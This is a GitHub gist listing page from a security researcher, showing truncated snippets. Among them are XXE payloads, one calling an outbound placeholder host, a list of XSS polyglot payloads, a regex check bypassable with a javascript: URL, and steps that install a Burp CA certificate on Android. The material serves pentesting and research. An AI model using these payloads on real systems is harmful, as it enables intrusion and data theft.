Skip to content

Instantly share code, notes, and snippets.

View eoftedal's full-sized avatar

Erlend Oftedal eoftedal

169 followers · 68 following
View GitHub Profile
@eoftedal
eoftedal / gist:2046582
Created March 15, 2012 20:11 — forked from thomaseggum/gist:2044229
attempt
var mynamespace = mynamespace || {};
(function(){
var counter = { count: 0 };
function incrementCounter(){
counter.count++;
}
mynamespace.someobject = {
counter : counter,
@eoftedal
eoftedal / regex.rb
Created May 23, 2012 12:16
Based on @homakov's work
a = "javascript:evil();\nhttp://www.vg.no"
if a =~ /^https?/ then
puts "This is a safe url starting with http or https"
end
@eoftedal
eoftedal / Dockerfile
Last active November 19, 2015 12:05
Dockerfile for BeEF
FROM ubuntu
RUN apt-get update && apt-get upgrade -y && apt-get install -y build-essential libsqlite3-dev sqlite3 libssl-dev curl
RUN apt-get install -y software-properties-common && \
apt-add-repository -y ppa:brightbox/ruby-ng && \
apt-get update && \
apt-get install -y ruby2.1 ruby2.1-dev
WORKDIR /opt/
RUN locale-gen en_US.UTF-8
ENV LC_ALL en_US.UTF-8
RUN curl https://codeload.github.com/beefproject/beef/tar.gz/beef-0.4.6.1 -o beef-0.4.6.1.tar.gz && \
@eoftedal
eoftedal / step1
Last active December 24, 2015 06:59
var oldCreateElement = document.createElement;
document.createElement = function() {
var element = oldCreateElement.apply(document, arguments);
var oldSetAttribute = element.setAttribute;
console.log(arguments, element);
element.setAttribute = function(name, value) {
if (name == "onsubmit") {
console.log(arguments.callee.caller.toString());
}
oldSetAttribute.apply(element, arguments);
@eoftedal
eoftedal / DI-Dog
Created October 16, 2013 20:10
DI-løs, men likevel testbar kode
public class Dog {
private Tail tail;
private Head head;
public Dog() {
this(new TailImpl(), new HeadImpl())
}
public Dog(Tail tail, Head head) {
this.tail = tail;
this.head = head;
@eoftedal
eoftedal / SelfVerify.java
Created October 29, 2013 20:42
Self-verification using base64 encoded X509 cert
package no.posten.dpost.sosm;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.security.AccessController;
import java.security.CodeSigner;
import java.security.CodeSource;
import java.security.PrivilegedAction;
@eoftedal
eoftedal / Android burp
Created March 15, 2016 10:05
http://techblog.vsza.hu/posts/Using_Android_emulator_with_Burp_Suite.html
adb shell mount -o rw,remount /system
openssl x509 -in burp.cer -inform DER -text
openssl x509 -noout -subject_hash_old -inform DER -in burp.cer
adb push burp.cer /system/etc/security/cacerts/9a5ba575.0
@eoftedal
eoftedal / XXE_payloads
Created July 7, 2017 14:49 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@eoftedal
eoftedal / xss-polyglots.txt
Created October 10, 2019 16:57 — forked from michenriksen/xss-polyglots.txt
XSS Polyglot payloads
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//<
@eoftedal
eoftedal / dep-check.sh
Created November 22, 2019 08:25
Scan an image using OWASP Dependency check
#!/bin/bash
export COLOR_NC=$(tput sgr0)
export COLOR_GREEN=$(tput setaf 2)
if [ $# -ne 2 ]; then
echo "ERROR: no image given"
echo "USAGE: ./scan.sh <some_image>[:some_tag] <path in image>"
exit 1
fi